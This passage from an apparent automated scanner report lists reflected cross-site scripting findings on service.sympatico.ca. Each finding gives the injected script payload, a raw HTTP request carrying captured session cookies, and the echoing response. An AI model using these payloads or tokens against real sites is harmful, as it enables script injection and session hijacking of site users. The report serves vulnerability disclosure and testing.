Set-Cookie: SMSESSION=tmbz/yyo4qe182egr1NoobX7VNGMqYlyN3f2qxzT34BbAGauI0G2z9sKW65QCkC0toK4Jf/3O8yJuV0+Ty+EKeM4NgtpZu80nGebemMDrHQB6OaQ14IeaV5UzQGSbPy2KW0gNlesRrww1zhg9Va6q06DUZEBlZ+4LgxGRBqw7y6rrcvprOrUOLFIAOcA/GprLtU/VnVPrvKlpkX706xhrNHHstY7Th9nDl4U7ZhZuWjLRHoOo2aC11crx29YH3vTo7GqCF5U32BJteyogfhsG5UP0HtS27u9WMYF8l9JlN05YoiUts76pA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:17:00 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:00 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:00 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gifb3904"><script>alert(1)</script>7fe4edf8f9b" />
...[SNIP]...

2.109. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58b20"><script>alert(1)</script>c68852d8504 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif?58b20"><script>alert(1)</script>c68852d8504=1 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:31 GMT
Connection: close
Set-Cookie: SMSESSION=LL1KHg6ThSVpW/eytZzi8y5qj/y1cm5Muw+x/vDMOp6tXXOZZobA0i5QG2Z+NU+nFta8J4qbrdg3c1mj8TEDSh44vj4qDvOWbK+RL5xp9QfRQuKyW6Qzef+UhZhJP9XlDNZWveR+hVjA5/RQR5WzkU/NO+PSWwe9LSBWchq7pTNu+pWGbzQaqcluqUVYf5k1pDmWwwPFgBjVdviIRyb8L8EbOwKD3HJ23wwyIyijClX8/2T5KVcFLNIrYYan5Srm/fkNzttfDGjcs5DWqaossnUkGIYnmwHKzbw5YG8pn1kn8A8DrXsygg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:31 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
a/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif?58b20"><script>alert(1)</script>c68852d8504=1" />
...[SNIP]...

2.110. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4cd3"><script>alert(1)</script>ce1823b4859 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb4cd3"><script>alert(1)</script>ce1823b4859/images/bt_topNavSupport_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:43 GMT
Connection: close
Set-Cookie: SMSESSION=uW4BCOvcatA10oMzCd2TS/gVhEPvROwutf/XmMQSw5ghxuoD9aUfA+3xWRTV9NofI140uAq6ZsjofDds5HXoKsguK9wIPgcTOLwX49Nk+s25C+OCoILkhK+DCDuJj38RVtgqwuIdhyktAMcfxAFH802SKbDTKWki8opeWPNFKGq8FreGDIBJFNHbOvXNqKXDGDH02GM4xJBr4R/b6jKQ8QqjztP0qTdYwOOHTFd1IrLdoaCFYVwqRfoMTY51BCN731qNvzEv+WMBwgGzIIp6R/jL/4XnXubkgx1/bWKi2kR6E3JOCvYb+g==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:44 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:44 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:44 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:44 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:44 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:44 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3Cb4cd3"><script>alert(1)</script>ce1823b4859/images/bt_topNavSupport_en.gif" />
...[SNIP]...

2.111. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavSupport_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f75d7"><script>alert(1)</script>8f58776601f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagesf75d7"><script>alert(1)</script>8f58776601f/bt_topNavSupport_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26